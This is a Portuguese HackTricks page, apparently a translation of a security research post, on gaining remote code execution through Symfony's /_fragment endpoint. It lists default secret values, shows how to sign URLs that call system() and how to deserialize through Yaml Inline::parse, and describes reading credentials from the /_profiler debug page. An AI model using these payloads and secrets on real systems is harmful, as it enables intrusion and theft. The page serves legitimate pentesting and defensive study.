33 KiB
Symfony
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Introdução
Desde sua criação em 2008, o uso do framework Symfony tem crescido cada vez mais em aplicações baseadas em PHP. Agora é um componente central de muitos CMSs conhecidos, como Drupal, Joomla!, eZPlatform (anteriormente eZPublish), ou Bolt, e é frequentemente usado para construir sites personalizados.
Um dos recursos integrados do Symfony, feito para lidar com ESI (Edge-Side Includes), é a classe FragmentListener
. Essencialmente, quando alguém emite uma solicitação para /_fragment
, este listener define atributos da solicitação a partir de parâmetros GET fornecidos. Como isso permite executar código PHP arbitrário (mais sobre isso mais tarde), a solicitação deve ser assinada usando um valor HMAC. A chave criptográfica secreta do HMAC é armazenada sob um valor de configuração do Symfony chamado secret
.
Este valor de configuração, secret
, também é usado, por exemplo, para construir tokens CSRF e tokens de lembrar-me. Dada a sua importância, este valor deve obviamente ser muito aleatório.
Infelizmente, descobrimos que muitas vezes, o secret
tem um valor padrão, ou existem formas de obter o valor, forçá-lo offline, ou simplesmente contornar a verificação de segurança com a qual está envolvido. Isso afeta notavelmente o Bolt, eZPlatform e eZPublish.
Embora isso possa parecer um problema de configuração benigno, descobrimos que valores padrão, forçáveis ou previsíveis estão muito, muito frequentemente presentes nos CMSs mencionados, bem como em aplicações personalizadas. Isso se deve principalmente a não enfatizar sua importância na documentação ou nos guias de instalação.
Além disso, um atacante pode escalar vulnerabilidades de menor impacto para ler o secret
(através de uma divulgação de arquivo), contornar o processo de assinatura de /_fragment
(usando um SSRF) e até vazá-lo através de phpinfo()
!
Neste post, descreveremos como o secret
pode ser obtido em vários CMSs e no framework base, e como obter execução de código usando o referido secret
.
Um pouco de história
Sendo um framework moderno, o Symfony teve que lidar com a geração de subpartes de uma solicitação desde sua criação até os nossos tempos. Antes de /_fragment
, havia /_internal
e /_proxy
, que faziam essencialmente a mesma coisa. Isso resultou em muitas vulnerabilidades ao longo dos anos: CVE-2012-6432, CVE-2014-5245, e CVE-2015-4050, por exemplo.
Desde o Symfony 4, o secret
é gerado na instalação, e a página /_fragment
é desativada por padrão. Poder-se-ia pensar, portanto, que a conjunção de ambos, ter um secret
fraco e /_fragment
habilitado, seria rara. Não é: muitos frameworks dependem de versões antigas do Symfony (até a 2.x ainda é muito presente), e implementam um valor secret
estático ou o geram de forma inadequada. Além disso, muitos dependem do ESI e, como tal, habilitam a página /_fragment
. Além disso, como veremos, outras vulnerabilidades de menor impacto podem permitir despejar o secret
, mesmo que tenha sido gerado de forma segura.
Executando código com a ajuda de secret
Primeiro demonstraremos como um atacante, tendo conhecimento do valor de configuração secret
, pode obter execução de código. Isso é feito para a última versão de symfony/http-kernel
, mas é semelhante para outras versões.
Usando /_fragment
para executar código arbitrário
Como mencionado anteriormente, faremos uso da página /_fragment
.
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
FragmentListener:onKernelRequest
será executado em cada solicitação: se o caminho da solicitação for /_fragment
[1], o método verificará primeiro se a solicitação é válida (ou seja, devidamente assinada) e, caso contrário, gerará uma exceção [2]. Se as verificações de segurança forem bem-sucedidas, ele analisará o parâmetro _path
codificado na URL e definirá os atributos de $request
de acordo.
Os atributos de solicitação não devem ser confundidos com parâmetros de solicitação HTTP: são valores internos, mantidos pelo Symfony, que geralmente não podem ser especificados por um usuário. Um desses atributos de solicitação é _controller
, que especifica qual controlador do Symfony (uma tupla (classe, método) ou simplesmente uma função) deve ser chamado. Atributos cujo nome não começa com _
são argumentos que serão fornecidos ao controlador. Por exemplo, se quiséssemos chamar este método:
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
Definiríamos _path
para:
_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2
A requisição ficaria assim:
http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...
Essencialmente, isso permite chamar qualquer função ou método de qualquer classe, com qualquer parâmetro. Dada a infinidade de classes que o Symfony possui, conseguir execução de código é trivial. Podemos, por exemplo, chamar system()
:
http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...
Chamar system não funcionará todas as vezes: consulte a seção Exploit para mais detalhes sobre as sutilezas da exploração.
Um problema permanece: como o Symfony verifica a assinatura da requisição?
Assinando a URL
Para verificar a assinatura de uma URL, um HMAC é calculado contra a URL completa. O hash obtido é então comparado com o especificado pelo usuário.
Em termos de código, isso é feito em dois locais:
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
Em resumo, o Symfony extrai o parâmetro GET _hash
, reconstrói a URL completa, por exemplo https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...
, calcula um HMAC desta URL usando o secret
como chave [1], e compara-o com o valor de hash fornecido [2]. Se eles não coincidirem, uma exceção AccessDeniedHttpException
é levantada [3], resultando em um erro 403
.
Exemplo
Para testar isso, vamos configurar um ambiente de teste e extrair o secret (neste caso, gerado aleatoriamente).
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
Agora, ao visitar http://localhost:8000/_fragment
, obtemos um 403
. Vamos agora tentar fornecer uma assinatura válida:
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
Ao verificar http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
, agora temos um código de status 404
. A assinatura estava correta, mas não especificamos nenhum atributo de requisição, então o Symfony não encontra nosso controlador.
Uma vez que podemos chamar qualquer método, com qualquer argumento, podemos, por exemplo, escolher system($command, $return_value)
e fornecer um payload assim:
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
Podemos agora visitar a URL do exploit: http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
.
Apesar do erro 500
, podemos ver que nosso comando foi executado.
RCE usando fragment
Encontrando segredos
Novamente: nada disso importaria se os segredos não pudessem ser obtidos. Muitas vezes, eles podem. Descreveremos várias maneiras de obter execução de código sem conhecimento prévio.
Através de vulnerabilidades
Vamos começar com o óbvio: usar vulnerabilidades de menor impacto para obter o segredo.
Leitura de arquivo
Evidentemente, uma vulnerabilidade de leitura de arquivo poderia ser usada para ler os seguintes arquivos e obter secret
:
app/config/parameters.yml
.env
Como exemplo, algumas barras de ferramentas de depuração do Symfony permitem ler arquivos.
PHPinfo
Nas versões recentes do symfony (3.x), secret
é armazenado em .env
como APP_SECRET
. Uma vez que é importado como uma variável de ambiente, eles podem ser vistos através de uma página phpinfo()
.
Vazamento de APP_SECRET através de phpinfo
Isso pode ser feito notavelmente através do pacote profiler do Symfony, como demonstrado pela captura de tela.
SSRF / IP spoofing (CVE-2014-5245)
O código por trás do FragmentListener
evoluiu ao longo dos anos: até a versão 2.5.3, quando a solicitação vinha de um proxy confiável (leia-se: localhost
), ela seria considerada segura e, como tal, o hash não seria verificado. Um SSRF, por exemplo, pode permitir executar código imediatamente, independentemente de ter secret
ou não. Isso afeta notavelmente o eZPublish até 2014.7.
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
Admitidamente, todas essas técnicas requerem outra vulnerabilidade. Vamos explorar um vetor ainda melhor: valores padrão.
Através de valores padrão
Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt
Ao configurar um site Symfony, o primeiro passo é instalar o esqueleto symfony-standard. Quando instalado, uma solicitação pede alguns valores de configuração. Por padrão, a chave é ThisTokenIsNotSoSecretChangeIt
.
Instalação do Symfony através do composer
Nas versões posteriores (4+), a chave secreta é gerada de forma segura.
ezPlatform 3.x (atual): ff6dc61a329dc96652bb092ec58981f7
ezPlatform, o sucessor do ezPublish, ainda utiliza Symfony. Em 10 de junho de 2019, um commit definiu a chave padrão como ff6dc61a329dc96652bb092ec58981f7
. As versões vulneráveis vão de 3.0-alpha1 até 3.1.1 (atual).
Embora a documentação afirme que o segredo deve ser alterado, isso não é imposto.
ezPlatform 2.x: ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
Como no esqueleto do Symfony, você será solicitado a inserir um segredo durante a instalação. O valor padrão é ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
.
Bolt CMS <= 3.7 (atual): md5(__DIR__)
Bolt CMS utiliza Silex, um micro-framework obsoleto baseado em Symfony. Ele configura a chave secreta usando este cálculo:
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
Como tal, pode-se adivinhar o segredo ou usar uma vulnerabilidade de Divulgação Completa do Caminho para calculá-lo.
Se você não teve sucesso com chaves secretas padrão, não desanime: existem outras maneiras.
Bruteforce
Uma vez que o segredo é frequentemente definido manualmente (ao contrário de gerado aleatoriamente), as pessoas costumam usar uma frase-senha em vez de um valor aleatório seguro, o que o torna passível de bruteforce se tivermos um hash para realizar o bruteforce contra ele. Obviamente, uma URL válida /_fragment
, como uma gerada pelo Symfony, nos forneceria uma tupla de mensagem-hash válida para realizar o bruteforce do segredo.
Uma solicitação válida para fragmento está incluída na resposta
No início deste blogpost, dissemos que o segredo do Symfony tinha vários usos. Um desses usos é que ele também é usado para gerar tokens CSRF. Outro uso do secret
é assinar cookies de lembre-me. Em alguns casos, um atacante pode usar seu próprio token CSRF ou cookie de lembre-me para realizar o bruteforce do valor de secret
.
A engenharia reversa da construção desses tokens é deixada como exercício para o leitor.
Indo além: eZPublish
Como exemplo de como segredos podem ser bruteforçados para alcançar execução de código, veremos como podemos descobrir o segredo do eZPublish 2014.07.
Encontrando material para bruteforce
O eZPublish gera seus tokens CSRF assim:
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
Para construir este token, o eZP usa dois valores que conhecemos, e o segredo: getIntention()
é a ação que o usuário está tentando realizar (authenticate
, por exemplo), session_id()
é o ID da sessão PHP, e getSecret()
, bem, é o secret
do Symfony.
Uma vez que tokens CSRF podem ser encontrados em alguns formulários, agora temos o material para forçar bruscamente o segredo.
Infelizmente, o ezPublish incorporou um pacote da sensiolabs, sensio/distribution-bundle. Este pacote garante que a chave secreta seja aleatória. Ele a gera assim, durante a instalação:
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
Isso parece muito difícil de forçar bruscamente: mt_rand()
pode gerar 231 valores diferentes, e uniqid()
é construído a partir do carimbo de data/hora atual (com microssegundos).
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
Divulgando o timestamp
Felizmente, sabemos que esse segredo é gerado no último passo da instalação, logo após a configuração do site. Isso significa que provavelmente podemos vazar o timestamp usado para gerar esse hash.
Uma maneira de fazer isso é usando os logs (ex. /var/log/storage.log
); pode-se vazar a primeira vez que uma entrada de cache foi criada. A entrada de cache é criada logo após a chamada de generateRandomSecret()
.
Conteúdo de exemplo de log: o timestamp é semelhante ao usado para calcular o segredo
Se os logs não estiverem disponíveis, pode-se usar o motor de busca muito poderoso do eZPublish para encontrar o momento da criação do primeiro elemento do site. De fato, quando o site é criado, muitos timestamps são inseridos no banco de dados. Isso significa que o timestamp dos dados iniciais do site eZPublish é o mesmo usado para calcular uniqid()
. Podemos procurar pelo ContentObject landing_page
e descobrir seu timestamp.
Força bruta nos bits faltantes
Agora estamos cientes do timestamp usado para calcular o segredo, bem como de um hash da seguinte forma:
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
Isso nos deixa com um total de 231 * 106 possibilidades. Parece viável com hashcat e um bom conjunto de GPUs, mas o hashcat não fornece um kernel sha1(sha1($pass).$salt)
. Felizmente, nós o implementamos! Você pode encontrar o pull-request aqui.
Usando nossa máquina de cracking, que possui 8 GPUs, podemos quebrar esse hash em menos de 20 horas.
Após obter o hash, podemos usar /_fragment
para executar código.
Conclusão
Symfony agora é um componente central de muitas aplicações PHP. Como tal, qualquer risco de segurança que afete o framework afeta muitos sites. Como demonstrado neste artigo, um segredo fraco ou uma vulnerabilidade de menor impacto permite que atacantes obtenham execução remota de código.
Como um membro da equipe azul, você deve verificar todos os seus sites dependentes do Symfony. Software atualizado não pode ser descartado por vulnerabilidades, já que a chave secreta é gerada na primeira instalação do produto. Portanto, se você criou um site baseado em Symfony-3.x há alguns anos e o manteve atualizado ao longo do tempo, é provável que a chave secreta ainda seja a padrão.
Exploração
Teoria
Por um lado, temos algumas preocupações ao explorar essa vulnerabilidade:
- O HMAC é calculado usando a URL completa. Se o site estiver atrás de um proxy reverso, precisamos usar a URL interna do serviço em vez daquela para a qual estamos enviando nosso payload. Por exemplo, a URL interna pode ser HTTP em vez de HTTPS.
- O algoritmo do HMAC mudou ao longo dos anos: era SHA-1 antes e agora é SHA-256.
- Como o Symfony remove o parâmetro
_hash
da solicitação e, em seguida, gera a URL novamente, precisamos calcular o hash na mesma URL que ele faz. - Muitos segredos podem ser usados, então precisamos verificar todos eles.
- Em algumas versões do PHP, não podemos chamar funções que têm parâmetros "por referência", como
system($command, &$return_value)
. - Em algumas versões do Symfony,
_controller
não pode ser uma função, tem que ser um método. Precisamos encontrar um método Symfony que nos permita executar código.
Por outro lado, podemos tirar vantagem de algumas coisas:
- Acessar
/_fragment
sem parâmetros ou com um hash inválido deve retornar um403
. - Acessar
/_fragment
com um hash válido, mas sem um controlador válido, deve resultar em um500
.
O último ponto nos permite testar valores secretos sem nos preocuparmos com qual função ou método vamos chamar depois.
Prática
Digamos que estamos atacando https://target.com/_fragment
. Para assinar corretamente uma URL, precisamos saber:
- URL interna: pode ser
https://target.com/_fragment
, ou talvezhttp://target.com/_fragment
, ou algo completamente diferente (ex.http://target.website.internal
), o que não podemos adivinhar - Chave secreta: temos uma lista de chaves secretas usuais, como
ThisTokenIsNotSoSecretChangeIt
,ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
, etc. - Algoritmo: SHA1 ou SHA256
Não precisamos nos preocupar com o payload efetivo (o conteúdo de _path
) ainda, porque uma URL assinada corretamente não resultará em uma exceção AccessDeniedHttpException
sendo lançada, e como tal não resultará em um 403
. O exploit, portanto, tentará cada combinação de (algoritmo, URL, segredo)
, gerará uma URL e verificará se não resulta em um código de status 403
.
Uma solicitação válida para /_fragment
, sem o parâmetro _path
Neste ponto, podemos assinar qualquer URL /_fragment
, o que significa que é um RCE garantido. É apenas uma questão de o que chamar.
Então, precisamos descobrir se podemos chamar uma função diretamente, ou se precisamos usar um método de classe. Podemos primeiro tentar o primeiro caminho, mais direto, usando uma função como phpinfo ([ int $what = INFO_ALL ] )
(documentação). O parâmetro GET _path
ficaria assim:
_controller=phpinfo
&what=-1
E a URL ficaria assim:
http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...
Se a resposta HTTP exibir uma página phpinfo()
, vencemos. Podemos então tentar usar outra função, como assert
:
Exemplo de saída usando _controller=assert
Caso contrário, isso significa que precisaremos usar um método de classe em vez disso. Um bom candidato para isso é Symfony\Component\Yaml\Inline::parse
, que é uma classe Symfony integrada e, como tal, está presente em sites Symfony.
Obviamente, este método analisa uma string de entrada YAML. O analisador YAML do Symfony suporta a tag php/object
, que converterá uma string de entrada serializada em um objeto usando unserialize()
. Isso nos permite usar nossa ferramenta PHP favorita, PHPGGC!
O protótipo do método mudou ao longo dos anos. Por exemplo, aqui estão três protótipos diferentes:
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
Em vez de construir _path
para cada um destes, podemos tirar proveito do fato de que, se fornecermos um argumento cujo nome não corresponda ao protótipo do método, ele será ignorado. Podemos, portanto, adicionar todos os argumentos possíveis ao método, sem nos preocuparmos com o protótipo real.
Podemos, portanto, construir _path
assim:
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
Podemos tentar com phpinfo()
, e ver se funciona. Se funcionar, podemos usar system()
em vez disso.
Saída de exemplo usando Inline::parse
com um payload serializado
O exploit, portanto, executará todas as possíveis combinações de variáveis e, em seguida, tentará os dois métodos de exploração. O código está disponível em nosso GitHub.
Acessando informações do symfony /_profiler
Como você vê na captura de tela acima, há um logo sf
no canto inferior direito da página. Este logo é exibido quando o Symfony está no modo de depuração. Há casos em que este logo não aparece, então tente acessar /_profiler
e você verá a página como mostrado abaixo
Este recurso é chamado Symfony Profiler, e não há muita informação sobre este recurso na internet. A intenção deste recurso é cristalina; ele ajuda você a depurar quando há um erro ou bug. Claro, este recurso só pode ser usado quando o modo de depuração está habilitado.
O framework Symfony em si é muito seguro, mas habilitar o modo de depuração tornará este framework extremamente vulnerável. Por exemplo, o Profiler tem um recurso chamado Profile Search, como na captura de tela a seguir.
Como você vê na captura de tela acima, você pode acessar todas as requisições enviadas ao servidor. Clicando nos hashes no token, você verá que todos os parâmetros POST podem ser lidos, como visto na captura de tela a seguir. Com este recurso, podemos sequestrar as credenciais de contas de administradores e usuários.
Outros Endpoints com Depuração Habilitada
Você também deve verificar estes URLs:
Referências
- https://www.ambionics.io/blog/symfony-secret-fragment
- https://flattsecurity.hatenablog.com/entry/2020/11/02/124807
- https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.